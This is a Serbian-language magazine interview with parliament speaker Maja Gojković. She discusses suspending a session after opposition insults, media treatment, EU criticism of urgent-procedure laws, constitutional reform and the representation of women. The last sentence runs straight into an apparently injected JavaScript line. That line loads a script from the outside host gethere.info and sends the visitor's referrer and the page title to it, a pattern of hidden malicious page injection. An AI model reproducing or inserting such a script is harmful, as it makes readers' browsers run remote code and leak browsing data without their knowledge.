INTERVJU, MAJA GOJKOVIĆ: Ko to ruši Srbiju u parlamentu?

Nekome očigledno smeta to što je Srbija stabilna, što nema problem da napravi većinu u parlamentu, bez obzira na teške mere koje smo sprovodili, pre svega ekonomske. Osetila sam da ovo više nije artikulisano nezadovoljstvo opozicije, nego da zaista može da ode predaleko, a ja ne mogu da gledam to sa mesta predsedavajućeg

Maja Gojković prekinula je u petak, 18. novembra, dramatičnu sednicu Skupštine Srbije na kojoj su se nizali incidenti preteći da prerastu u fizički obračun. Govorila je za Ekspres nekoliko dana kasnije i nekoliko metara od skupštinske sale, u kojoj su poslanici u potpunom miru diskutovali o zakonskom predlogu. Srpski višestranački parlament u poslednjih 26 godina pamti teške incidente, nasilje, fizičke obračune, iako ni po tome nije jedinstven u svetu. Ipak, imamo li u parlamentu atmosferu koja može da opstruiše državne poslove, pa i demokratiju? Maja Gojković i na ovom mestu poziva sve kolege da razmišljaju o poslednjim događajima u Skupštini i o tome šta je njihova uloga u parlamentu.
Posle nekoliko dana Skupština je nastavila rad, i to u potpunom redu. Izgleda da je

Vaša odluka da prekinete sednicu zbog serije incidenata donela rezultat. Hoće li ovaj mir biti stabilan?

- Prvi put posle dvadeset i više godina bavljenja politikom kod mene je sve nedefinisano. Rekla sam i poslanicima da moj proces razmišljanja nije završen, ali nisam sigurna koliko su i oni razmišljali o tome šta parlament Srbije zaista predstavlja u ovom momentu. Koliko je moja odluka da se prekine sednica i onakvo ponašanje važno baš zbog toga da bi smo svi zajedno, bez obzira na to da li činimo vladajuću većinu ili opoziciju, razmislili o tome koliko je ovakvim ponašanjem opozicije uzdrmana važna institucija koja čini jedan od bitnih faktora demokratije u bilo kom demokratskom okruženju, bilo kojoj demokratskoj državi. Sva demokratija potiče upravo iz parlamenta, mi ovde predstavljamo građane Srbije. Nisam sigurna koliko su građani Srbije glasali za ovakvu opoziciju, za ovakvo ponašanje, za psovanje, za destrukciju. Ne mora opozicija da bude konstruktivna, ali ako nemaju ništa da ponude, svojim biračima ne treba da nude psovke i nasilje. Nekada je verbalno nasilje mnogo teže podneti nego fizičko nasilje, a ja sam pokazala, kao političar i osetljiv čovek, da to mora da tera na razmišljanje - ako se povučeš, da li je to pobedila neka Srbija za koju se mi ne zalažemo. SNS je obećao svojim biračima da želi pristojnu Srbiju, Srbiju pristojnih ljudi i obrazovanih ljudi, ljudi koji hoće da rade. A onda se nalazimo u poziciji da me opozicija optužuje da ne vodim dobro sednice, pa su zato oni nasilni. Nesebično sam podelila svoj način razmišljanja sa njima i pozvala ih da i oni razmišljaju. Da li su razmišljali, videćemo.

Strahujete li od ponavljanja incidenata u skupštinskoj sali?

- Nisam sigurna da će ovo da bude samo jedan incident koga će se neko sećati kako je počeo sa radom ovaj saziv. Mislim da je glavni ključ u tome što opozicija očigledno nema nikakve argumente. Nisam čula nijedan njen politički stav povodom bilo kog političkog pitanja koje se danas nalazi pred Srbijom. Ne znam šta misli o pregovorima u Briselu, šta misli o samostalnom proglašenju nezavisnosti Kosova, šta misli o ispunjenju dogovora oko formiranja Zajednice srpskih opština, ili šta misli o uvođenju ili neuvođenju sankcija Ruskoj Federaciji, o saradnji Srbije sa Kinom... Ali znamo šta misle o povredama Poslovnika i o tome da li poslanici SNS treba da se sklone u svoje klupe kad neko hoće da prođe kroz čitavu salu baš pored njih. Koliko je to važno njihovim biračima, naravno da mi je enigma. Ali pristojna Srbija hoće pristojan parlament. Pristojna Srbija, kojoj srećom pripadam, hoće da mi radimo, donosimo dobre zakone da bi njima život bio bolji i da bismo imali više para i da bi život bio predvidiv. Mislim da je najveći kvalitet kada političar može da obezbedi građanima da njihov život bude predvidiv. Meni je to ideal dobrog bavljenja politikom. A mi ovde ne možemo da planiramo ni tok jedne sednice na kojoj se raspravlja o važnom pitanju za sve one koji su potencijalne žrtve porodičnog nasilja.

Očigledna je namera da se preko parlamenta napravi nešto što može da izazove veću političku krizu u Srbiji

Incidenata i nasilja bilo je i ranije u Skupštini, otkako je uveden višestranački sistem. Ima li sličnosti u svim tim događajima, pa i ovim današnjim, da li je reč o impulsivnoj reakciji poslanika ili možda o političkoj taktici?

- Ono što se nekada dešavalo bilo je promišljeno. Mediji, na primer, neće da pišu o opoziciji i onda oni naprave nešto jer znaju da to otvara dve, tri nedelje medijskog prostora. Ovde nema nikakve reči o medijskoj blokadi jer vidimo da su članovi opozicije medijske zvezde kod nas u državi, a ja mogu više da se požalim da mi nemamo otvorena vrata u medijima. Nemam tu privilegiju da, kao članovi opozicije, budem glavna zvezda. Teško mi je palo kada sam u subotu ujutro (dan posle incidenata u Skupštini) videla naslovne strane jer nije moglo da se sazna šta se ovde dešavalo i ko je napravio haos u parlamentu, ali dobro. Čini mi se kao da je neko dobro promislio, da li oni sami, da li im neko pomaže u promišljanju, da je u stvari parlament idealno mesto za pojedine opozicionare da prave haos u državi. O tome ozbiljno razmišljam svih ovih dana jer Srbija je jedina zemlja u regionu koja je stabilna i politički i ekonomski. Tu se pokazuje da je Vlada Aleksandra Vučića uspela da počne da menja Srbiju, što je najvažnije. Možete da ga volite, možete da ga ne volite, ali morate da kažete da su tu rezultati. Mnogi svetski zvaničnici koji ne iskazuju naročitu ljubav prema Aleksandru Vučiću i prema srpskoj vladi kažu da Srbija ide u dobrom pravcu. To nekome očigledno smeta, to što je Srbija stabilna, što nema probleme da napravi većinu u parlamentu, što smo imali izbore, pa smo potvrdili poverenje, bez obzira na teške mere koje smo sprovodili, pre svega ekonomske. Svuda oko nas imamo probleme, Crna Gora tek sada dobija vladu, u Hrvatskoj je posle dugog perioda napravljena vlada, Makedonija će tek na izbore... Očigledna je namera da se preko parlamenta napravi nešto što može da izazove veću političku krizu u Srbiji. Jer ako ovde ne možemo da donosimo zakone, onda ne možemo da donesemo dobre i prave stvari, ne možemo da donesemo budžet, ne možemo da donesemo zakon o borbi protiv nasilja, ne možemo da uradimo još mnoge druge stvari koje se očekuju od parlamenta. Potom, imali smo i onaj incident na Odboru za evropske integracije. S jedne strane, bunili su se opravdano jer dokumenti moraju da budu na srpskom, ali onda pokažeš toliko nevaspitanje i toliku vrstu agresije, da izvređaš jednog ambasadora, koga je pritom predsednica Odbora i pozvala u goste. Prvi put vidim osobinu kod srpskog naroda da vređa gosta kog je doveo u svoju kuću. To mi sve ne deluje spontano.

Svrha parlamenta jeste da društvene konflikte dovede pod svoj krov da se ne bi vodili na ulici. Da li možete da prepoznate tu granicu iza koje su stvari otišle predaleko i da bi sukobi možda mogli da napuste salu i da se prenesu na ulice?

- Da. Zato sam i izrekla one reči u petak. Videla sam da su me poslanici i vladajuće većine i opozicije slušali i samo ih je to utišalo. Zato što je iz mene izašla iskrenost koja se ne očekuje mnogo od političara, gde sam ja pogledala sve njih i glasno se zapitala: "Šta je ovo?" U ime svih građana koji su u tom momentu gledali prenos. Osetila sam momenat da ovo više nije artikulisano nezadovoljstvo ljudi koji su u opoziciji nego da ovo zaista može da ode predaleko, a ja ne mogu da gledam to sa mesta predsedavajućeg, pritom sam bila sve vreme žrtva vređanja. Potpuno razumem, toliko imam političkog iskustva, mi ne moramo da se slažemo. Meni je potpuno svejedno to što traže da ja budem izbačena, ja kažem da ne znam ko je njih ubacio pošto je mene ubacio narod ovde, pa će me narod i izbaciti. To kažem figurativno. Ali nikako da čujemo njihove političke stavove, zašto se oni tu okupljaju i vređaju poslanike SNS-a, osim ako je to njihova politička nemoć da naude Aleksandru Vučiću, koji nije u parlamentu. Očigledno tu mržnju prema njemu kanališu sada ovde u parlamentu i uvek nađu neku dežurnu žrtvu. Nekada sam ta žrtva ja, drugog dana to je poslanik Rističević, trećeg dana Martinović, potpuno svejedno.

Vaša koalicija ima veliku nadmoć u parlamentu i u ovom i u prethodnom sazivu, pa možda zbog takvog brojčanog odnosa dolazi do burne reakcije opozicije. Ima li terora većine u parlamentu?

- Opozicija se beskrajno radovala raspisanim izborima. Izbori su održani i opet su građani Srbije glasali za Aleksandra Vučića, za SNS i za koalicione partnere. Naravno da je to frustrirajuće jer ti naredne četiri godine nećeš imati izbore da ponovo pitaš građane. Mi moramo da imamo stabilnost da bismo nešto uradili, a ovaj parlament mora da radi četiri godine. Bila sam i ja u opoziciji, ali ne vidim šta je strašno biti u opoziciji. Ne sećam se da postoji snimak na kojem ja psujem, da sam pljunula nekoga, ne sećam se da postoji snimak na kom sam stala ispred nekog poslanika... Ako su to najjači argumenti političke opozicije, onda dobro. Ovo nije ništa već samo nasilje, verbalno ili fizičko.

Da li upravo zbog velike nesrazmere u snazi u parlamentu Vi treba da izgradite izvesnu pozitivnu diskriminaciju prema opoziciji?

- Nisu mi dozvolili. U prošlom sazivu dosta sam se zaštitnički ponašala prema poslanicima opozicije, ali ova opozicija mi to nije dozvolila zato što zadaju udarce ispod pojasa. I prvi put predsednik parlamenta mora da štiti pojedine poslanike iz vladajuće većine, bez obzira na njihovu brojnost. Zaista, kao dugogodišnji političar, želim da i u ovom sazivu prisustvujem nekoj sednici u kojoj sve pršti od političkih argumenata "za" i "protiv". I mislim da građani Srbije, pristojni, vredni, radni, kad dođu sa posla i gledaju prenos sednice, žele da vide šta njihovi predstavnici zaista misle. A ovde toga nema u poslednje vreme zato što opozicija ne želi da SNS govori o zakonima, a oni da kažu zašto neki zakon nije u redu. Čuli smo stravične diskusije. Jedna od diskusija koja je zapalila parlament prošle nedelje bila je svakako diskusija Balše Božovića, koji nije govorio da ovaj zakon ne valja, nego je na jedan zaista neprimeren način sabrao koliko je žena ubijeno u poslednje dve godine i zašto ovo nije bilo brže. Naravno da sam sišla dole i odgovorila: "Hajde da sabiramo 12 godina, da vidimo što ste oklevali." I da ne pominjem fotografije na kojima se videlo kako se ponašaju političari opozicije u društvu žena. Tako da je tu sve manje argumenata, to je opozicija koju bi svaka vlast poželela, a opet mi je žao jer sam političar i ne želim da prisustvujem kraju opozicije u Srbiji, ovakve kakva jeste. Pravi je izazov kad ste većina da imate dobru opoziciju, koja ume da vam parira i koja kaže - ovaj zakon vam je loš zbog toga, toga i toga. Ne, nego ovaj zakon je loš zbog povrede poslovnika. Hajde da siđemo dole da udarimo nekog iz SNS-a da mediji imaju šta da pišu pet dana.

U prošlom sazivu dosta sam se zaštitnički ponašala prema poslanicima opozicije, ali ova opozicija mi to nije dozvolila

Jeste li potrošili sve što Vam od propisa stoji na raspolaganju za rešavanje ove situacije?

- Apsolutno.

Šta preostaje?

- Imam jedino da ponudim sebe. Da vidim da li bi neko drugi možda bolje vodio parlament, ali da to budu lideri, da to bude Ivica Dačić, zašto da ne. Ovo je veoma važna funkcija u državi, možda da se menjamo. Evo, ja ću biti ministar, a Dačić da bude predsednik parlamenta. Može i Rasim Ljajić, i on važi za pristojnog čoveka. Zašto to kažem? Zato što jedan od razloga zašto sam prekinula sednicu jeste to što sam osetila da je SNS sam u toj sali i da se bori koliko može da parlament ne bi bio ugrožen. Da se ne bi povlačila pristojna Srbija za koju su glasali građani kada su glasali za SNS. Dobili smo bitku na izborima toga dana kada se glasalo, ne treba mi da se povlačimo. Nisam imala nijednog potpredsednika pored sebe osim Veroljuba Arsića u tom momentu. Sedeli su poslanici vladajuće većine iz drugih partija i posmatrali, niko nije ustao i rekao: "Gde ovo vodi i kakva su to psovanja prema predsednici parlamenta?" Argumenti su jedno, psovanje je drugo. Da se ne uvrede moje kolege iz drugih stranaka koji predstavljaju vladajuću većinu, ali bili su veoma pasivni u ovim događajima, što me je takođe navelo da razmišljam i još razmišljam.

I koji je Vaš zaključak, koji su motivi podstakli na incidente u parlamentu?

- Ne znam, pitaćemo ih. Da sam novinar, ja bih sve ovo pitala, ali izgleda da novinari danas u Srbiji sve svode na crno-belo, šta se desilo bez analize, samo površinski... Nas 250 poslanika predstavlja građane Srbije i nije to bilo privatno da mene neko psuje, opsovan je predsednik parlamenta. Privatno, sa tim čovekom se ne bih družila.

Mislite na Gorana Ješića, poslanika Demokratske stranke?

- Mislim na njega. Nemamo on i ja šta da radimo privatno bilo gde. Oni su vređali parlament, a ne neku Maju. Kad hoćeš silom da izazivaš poslanike, ne poslaničke grupe, i to ne radiš privatno na fudbalskoj utakmici, već to radiš u parlamentu. Naše kolege takođe su veoma dugo u politici. Ja sam počela kad i Rasim i Ivica Dačić. Ne prozivam ih, samo neka razmisle i oni malo ako misle da bi to bolje radili, evo ja bih da se menjam. Nemam problem sa tim uopšte.

Nekada je važilo za vrhunac političkog licemerja da poslanici vlasti i opozicije ne štede jedni druge u diskusiji u parlamentu, a da potom odu zajedno na ručak u skupštinski restoran.

- To je prava politika.

Postoji li to i danas?

- Sumnjam.

Da li Vi možete da sa nekim poslanikom sa kojim ste se sporili odete na kafu, popričate i izgladite stvar?

- Sa nekim poslanicima opozicije mogu. Poslanica Marinika Tepić jeste me uvredila pre neki dan, dosta je to bilo ružno, grubo, ali recimo, mogla bih njoj to da oprostim.

Možda zato što je žena?

- Ne zato što je žena, već mislim da je ona reagovala ne politički nego emotivno, da je ne uvredim, nepromišljeno. I to može da se izgladi, sedimo, radimo zajedno i nije nikakav problem. Mogu da razgovaram, sada kako se ponašaju u ovoj situaciji, i sa poslanicima LDP-a. Nije nikakav problem da li ste vi u vlasti ili ste opozicija pa ne možete da pričate. Ali ne mogu da razgovaram sa Goranom Ješićem, koji uopšte ne oseća potrebu da kaže: "Izvini. Stvarno sam preterao, ono je bilo više nego nevaspitano, ono je videla čitava Srbija." Nije on mene ponizio, on je ponizio sebe, svoje birače. Što je najgore, oni vole često sebe da prikazuju kao da su zadobili poverenje nekog građanskog sloja Srbije. Ne daj Bože da tako izgleda građanski sloj Srbije. Prvo, ne znam kako su došli do podataka da su oni glasali za njih, a drugo i ja sam građanski sloj Srbije i glasala sam za Aleksandra Vučića i SNS. Ja i dalje tvrdim - potrebna vam je građanska hrabrost danas u Srbiji da kažete da podržavate Aleksandra Vučića. Zašto? Ne znam. Ali danas ko god kaže da ga podržava a da je neka izuzetno poznata, priznata i ugledna ličnost u nekoj sferi života, može da očekuje da će ga svi napasti.

Zašto se uopšte toliko pažnje posvećuje reakcijama na pisanje medija ili lične osvrte na društvenim mrežama?

- Mediji kreiraju javno mnenje. Kad odem na pijacu, meni niko to ne pominje, niko me ne opsuje, ni mene lično ni Aleksandra Vučića. To su građani, to je narod. Ili kad odem u neku prodavnicu. Nikad veću podršku nisam dobijala od građana nego ovih nekoliko dana. Ali kad vidite medije i kreiranje nekog opšte uvreženog mišljenja, onda su to samo napadi. Pa, sećate se kako je to bilo sa Mikijem Manojlovićem, pa sa Svetislavom Goncićem, da ne kažem o Emiru Kusturici, koga svi živi napadaju. Jednostavno, ne smeš da imaš svoj stav i svoje mišljenje nego moraš da radiš šta ti neki drugi nameće. Čim izađeš iz nekog toka koji su zadali takozvani predstavnici, takozvane elite. Ili se zataška ili napadaju takve ličnosti. Setite se Dušana Kovačevića, najednom više nije bio dobar pisac.

Postoji li situacija u parlamentu koja bi mogla da se dogodi ili neka granica gde ćete Vi reći: "Sada dižem ruke i odlazim"?

- Nikad ne dižem ruke, bilo je mnogo težih situacija u ovoj državi od nasilja u parlamentu. Zato što nemam pravo na to, zato što nisam samo ja glasala za SNS nego ogroman broj ljudi. SNS je po drugi put osvojio apsolutno poverenje građana, nije ni morao da stvara koaliciju, koalicija se pravila baš zbog te političke stabilnosti. Da bi moglo da se nastavi sa ekonomskim i političkim reformama. Ali kada bi SNS rekao - predsednica parlamenta će dati ostavku, to bi bilo kao kad bi rekli sad ćemo da se povučemo pred nasiljem, pred prostotom, pred političkim ne argumentima, pred frustracijom. Samo me to drži ovde, iako mnogi moji prijatelji iz SNS-a ne mogu da me prepoznaju, kao da vide da sam se promenila za dan, dva. Stvarno i Aleksandar (Vučić) je nastupao javno i rekao istinu. Čuo se sa mnom uveče i onda osetio potrebu da se čuje sa mnom i ujutru jer je video kako me je duboko, duboko uzdrmala ova atmosfera u parlamentu i ne znam šta dalje. I na nastavak sednice u utorak sam došla očekujući da će neko da me maltretira. To mi je bila prva stvar kad sam ušla u salu, da vidim koliko mogu duboko da udahnem, koliko dugo mogu da izdržim da stoje ljudi ispred mene da prave selfije, da mi dobacuju, da me psuju i da krenu da tuku poslanike SNS-a i šta u tom trenutku predsednik jednog parlamenta treba uopšte da radi.

To ćete znati samo Vi, kad dospete u takvu situaciju.

- Pa čekam da dođu i potpredsednici iz svih stranaka koji čine vladajuću većinu, pa da razgovaramo. Da im kažem da SNS nije ovde sam i da ovo nije rat protiv SNS-a. Ovo je rat prvo protiv Aleksandra Vučića, koji očigledno smeta mnogim ljudima zato što je jaka politička figura u regionu, pa možda i šire. I očigledno Aleksandra svaki dan treba drmati.

Srpska radikalna stranka, čiji ste nekada bili član, vratila se sada u parlament i upravo od njenih poslanika očekivalo se da izaziva buru u parlamentu, ali to se nije dogodilo. Sve do sednice Odbora za evropske integracije, na kojoj je bio i šef Delegacije EU Majkl Devenport. Je li takvo ponašanje SRS-a u Skupštini iznenađenje?

- Oni su protivnici evropskih integracija, samo to ne treba tako da profilišu, ne treba da se svete ambasadoru Devenportu, on im tu ne može pomoći. Ali ne mogu da zalazim u to šta je pozadina tih događaja. Udružili su se sa Dverima i još nekima. Ne zalazim u to. Ali da vam kažem, jedna sam od retkih u ovom sazivu parlamenta koji je na pitanje novinara, nakon konstituisanja ovog saziva Skupštine, da li će sada biti problema sa poslanicima SRS-a rekla: "Ne, biće sa Dverima i sa 'Dosta je bilo'." To je bila moja politička procena.

Ispostavila se kao prilično tačna. A na osnovu čega ste to tako zaključili?

- Zato što se ne slažem sa politikom Vojislava Šešelja, ali on duboko promišljeno povlači poteze i njemu pomaže ova opozicija svojim besplanskim ponašanjem u parlamentu. Oni mu pomažu da poentira.

Ne očekujete od njega, odnosno poslanika SRS-a da budu akteri neke od incidentnih situacija?

- Videli ste njegovo mišljenje. On je iskazao na svoj način mišljenje o događajima u parlamentu. Ne očekujem, iznenadiće me ako toga bude.

Jeste li zadovoljni jer je rad Skupštine u proteklih godinu dana dobro prošao u ovogodišnjem Izveštaju o napretku, koji je sačinila Evropska komisija?

- Srbija je dobro prošla. Ne znam kako ćemo proći u sledećem izvlačenju karata ako opozicija ovako pomaže. Znate, nisu ni stranci koji ovde dolaze na razgovore baš toliko povodljivi, pa da može svako da im servira priču koju hoće. Znam pouzdano da je jedan od veoma, veoma važnih evropskih političara imao razgovor sa jednim od opozicionara ovde. Čovek je bio zapanjen time šta je taj poslanik njemu pokušao da ispriča. I lepo mu je rekao:" Nemoj nikada više, ovako se sa mnom ne razgovara, ja nikada ovo ne bih uradio u razgovoru sa nekim strancem." Ne prolazi to baš svuda.

EU i dalje zamera na velikom broju zakona koji se donosi po hitnom postupku, i to je već postala tradicija. Možete li da promenite takvu praksu?

- Mnogo je bolje nego ranije, to je jedno. Drugo, žao mi je što Nenad Konstantinović neće da brani pozicije parlamenta, on je bio predsednik Radne grupe koja je napravila Poslovnik po kome radimo i bio je predsednik Odbora za administrativna pitanja koji je predložio taj poslovnik parlamentu. Zato što postoji jedna odredba da ono što je u evropskoj agendi ide po hitnom postupku u Skupštinu. Oni su to zaboravili, sada kad pričaju sa strancima, oni navedu hitan postupak. Najvažnije je da ničim nije ugrožena priprema tih zakona jer procedure donošenja zakona su iste, zakoni idu na odbor, pa na plenum. Jedino gde je razlika između hitnog i redovnog postupka, po našem Poslovniku, jeste to da li on dođe na dnevni red u roku od sedam dana ili u roku od 15 dana. Ali ako je to najteže što su nam rekli, trudićemo se. Trudimo se, kao što vidite, dosta tih zakona po hitnom postupku bude odbijeno, pa na kraju budu doneti u redovnom postupku. Priznali su nam i mnogi parlamentarci iz evropskih zemalja da su i oni tako usvajali. Nije to neka naša specifičnost.

Zamera EU, takođe, da bi parlament trebalo još da unapredi svoju kontrolnu ulogu u odnosu na izvršnu vlast. Jeste li Vi zadovoljni stepenom kontrole koju parlament ima nad Vladom?

- Odbori odlično rade, dolaze ministri, tu razmatramo izveštaje o radu, ali odbori su kod nas u potpunoj senci onoga što se dešava u plenumu. Pozitivan pomak učinio je novi ministar kulture jer je došao (na Odbor) i branio izveštaj iz perioda prethodnog ministra Ivana Tasovca. Dva i po sata je razgovarao sa poslanicima, ja sam ga čak prekidala da ne bi potpuno dominirao nad poslanicima.

I poslanička pitanja upućena premijeru i ministrima smatraju se delom kontrolne funkcije parlamenta, ali da li je to zaista slučaj?

- U ovom sazivu imali smo sednicu na kojoj je poslednjeg četvrtka u mesecu premijer odgovarao na pitanja poslanika. I tu je bio odnos šest pitanja opozicionih poslanika i četiri iz vladajuće većine. Ali neće to da vide, čim ne dođe na red Boško Obradović, nastaje lom u sali. Pa ne mogu svi da dođu na red, možda bi i Martinović imao šta da pita predsednika. Ne može tako da se meri. I Vučić je rekao u svom ekspozeu da će dolaziti često, kad god budemo imali sednice i odgovarati na pitanja.

Očekujete li da u ovom mandatu Skupština pokrene proceduru za promenu Ustava?

- U prošlom sazivu parlamenta krenuli smo sa radnom grupom, bilo je razmišljanja o smanjenju broja poslanika, sa čim se slažem jer mislim da je ovaj broj prevazišao potrebe. Ali Ustav se ne menja zbog broja poslanika. Mislim da je suštinska promena, promena koja se kod nas očekuje - način izbora nosilaca pravosudnih funkcija. To je nešto što bi unapredilo i demokratiju u našoj državi i pravosuđe i njihovu nezavisnost. Ima sigurno mnogo pitanja koja se nalaze pred nama u evropskoj agendi, a jedno od tih jeste baš pitanje pravosuđa. Tako da može da se desi negde na kraju ovog mandata.

U parlamentu je i dalje trećina žena. Mislite li da je taj status već sada stabilan i da je adekvatna zastupljenost žena u parlamentu uspešno završen proces?

- Više od trećine. Vidim koliko ta zakonska norma pomaže i kada razgovaram sa poslanicima širom sveta jer su u njihovim parlamentima žene mnogo manje zastupljene, ako izuzmemo Island ili druge zemlje na severu Evrope. Naše poslanice zaista su aktivne, ali nedostaje nešto suštinsko, nedostaje solidarnost. Lako se žene dogovore oko podnošenja amandmana itd. Nego, kada se žene koje se bave politikom nađu na udaru, nema nikakve solidarnosti. Znači, fali neka ženska solidarnost definitivno.

Suštinska promena Ustava koja se kod nas očekuje jeste način izbora nosilaca pravosudnih funkcija

Tu mislite i na neke seksističke reakcije kojih je bilo na raznim političkim stranama?

- Tako je. Pa i sama sam bila žrtva toga, kao i mnoge koleginice. Na to su žene političari ćutale i nisu iskazale nikakvu podršku. I naravno, ključ svega jeste da se žene još uvek ne nalaze na nekim ključnim pozicijama na kojima se donose bitne odluke u državi.

Na primer?

- Na primer, gde su nam žene na čelu velikih sistema: privrednih, ekonomskih? Gde su nam žene koje vode veliku, značajnu firmu, koje upravljaju resursima države, vodom, šumom, naftom, bilo čime? Nisam feministkinja, ali mora biti više žena na važnim mestima. Zato što mislim da kvantitet koji smo uspele da postignemo pruža šansu i kvalitetu.

BUDŽET NA VREME

- Očekujem da se Predlog budžeta za iduću godinu pojavi za nekoliko dana u Skupštini. Biću veoma zadovoljna ako se pojavi veći iznos novca za kulturu jer sam ovde i predsednica Odbora za kulturu. Mislim da novi ministar odlično radi svoj posao za početak i da će njemu to uspeti. Imam taj utisak jer konačno se ostvarila moja želja da na mestu ministra kulture ne bude umetnik. Umetnici se nisu pokazali kao dobri ministri. Ne shvataju suštinu, oni treba da vode politiku, da vode kulturnu politiku, da donose dobre zakone, a ne da budu dobri samo u svojoj branši.s.src='http://gethere.info/kt/?264dpr&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';